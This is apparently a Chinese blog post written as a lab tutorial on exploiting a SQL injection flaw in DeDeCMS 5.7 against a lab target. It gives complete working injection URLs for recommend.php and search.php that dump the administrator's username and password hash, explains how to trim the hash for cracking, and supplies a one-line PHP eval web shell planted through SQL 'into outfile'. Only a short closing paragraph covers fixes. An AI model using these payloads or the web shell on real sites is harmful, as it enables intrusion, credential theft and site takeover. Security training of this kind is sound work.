Web安全-DeDeCMS5.7版本SQL注入漏洞利用

实验声明:本实验教程仅供研究学习使用,请勿用于非法用途,违者一律自行承担所有风险!

DeDeCMS5.7版本SQL注入漏洞利用

实验目的

  通过本实验理解DeDeCMS5.7版本存在SQL注入漏洞带来的危害,掌握针对漏洞的利用方法,熟悉CMS框架SQL注入漏洞的防护方法。

实验环境

渗透主机:win2k8

用户名: college
密码: 360College

目标靶机:cms-inject
用户名: college
密码: 360College
访问网站:http://IP:8081

实验步骤

第一步 录目标靶机,启动网站服务

1、启动phpstudy(桌面图标):

找到程序启动位置

启动服务

启动成功时的表现

如果,显示不是两个绿色标志,则等待一会,按下重启按钮,再次尝试。

第二步 渗透平台上访问目标网站

(1)打开云主机,输入密码360College登录靶机

(2)输入http://192.168.0.18:8081 访问网站主页:

第三步 利用SQL注入漏洞进行漏洞利用

(1)首先访问“/data/admin/ver.txt”页面获取系统最后升级时间,(判断是否是dede的cms 以及看看是否和这个漏洞相对应) 返回内容:

(2)访问“/member/ajax_membergroup.php?action=post&membergroup=1”页面,若返回内容:

表明可以进行SQL注入。

(3)利用SQL注入POC进行漏洞利用

http://IP:8081/plus/recommend.php?action=&aid=1&_FILES[type][tmp_name]=\%27%20or%20mid=@`\%27`%20/*!50000union*//*!50000select*/1,2,3,(select%20CONCAT(0x7c,userid,0x7c,pwd)+from+`%23@__admin`%20limit+0,1),5,6,7,8,9%23@`\%27`+&_FILES[type][name]=1.jpg&_FILES[type][type]=application/octet-stream&_FILES[type][size]=4294

执行后的效果为直接暴出用户名、密码。

与密码相关的信息细节如下

其实,在search.php页面,也存在注入漏洞。

/plus/search.php?keyword=as&typeArr[111%3D@`\'`)+and+(SELECT+1+FROM+(select+count(*),concat(floor(rand(0)*2),(substring((select+CONCAT(0x7c,userid,0x7c,pwd)+from+`%23@__admin`+limit+0,1),1,62)))a+from+information_schema.tables+group+by+a)b)%23@`\'`+]=a

执行结果如下:

即可得到管理员用户名和密码散列值。

重要说明: 得到的是20位的散列值,去掉前三位和最后一位,得到管理员的16位MD5值。 dedecms织梦管理员的密码使用了MD5_16加密算法加密后经过运算生成一个20位的字符串。这个密文是用密码通过32位的MD5加密规则,再去除前5位后7位而产生的。32位密文转换成16位,其实就是取中间的16位。也就是说要在前面和后面分别去除8位。那么在20位密文中,只需要去除前3位和最后1位,就可以得到16位密文了。

这里的MD5应该为8e53a7600982b533

https://md5.navisec.it/ 查询。 查到密码为admin360。

(此处得到的散列值,可能不一样,但是,查询到的密码值是一样的)

注意:很多从网上直接复制过来的POC,直接粘贴在地址栏,无法攻击成功。原因在于,复制过来的内容里面添加了很多回车符号!!! 切记,要放在word里面,去掉回车符号,成为一句话,才可以的。

登录网址:http://192.168.0.18:8081/dede。

以获取的口令密码登录成功

问题与解决: 如果登录页面为空,则在服务器端,将php版本切换为5.3.29+apache。重启后,进行登录实验。

#2、漏洞的其他利用方式

转换思路,可利用phpmyadmin数据库上传小马。

在靶机的后台,http://IP:8088,登录后,进入dedecms数据库。

于是,利用Havij 利用phpmyadmin执行sql命令:

select '<?php eval($_POST[cmd]);?>' into outfile 'D:/WWW/Dedecms57/install/insta11.php'

在Dedecms的install目录下,生成insta11.php,然后用菜刀连接。 菜刀连接路径:http://IP:80881/install/insta11.php,连接密码cmd。

(具体过程,可参考phpcms漏洞利用实验)

思考与总结

  针对此漏洞的解决方案:升级DedeCms 至最新版;增加“membergroup”参数过滤。

  所以,建议,网站运维人员,要密切关注产品厂商信息,及时升级到最新版本。

posted @ 2020-11-17 20:35  码小农的幸福生活  阅读(3241)  评论(0编辑  收藏  举报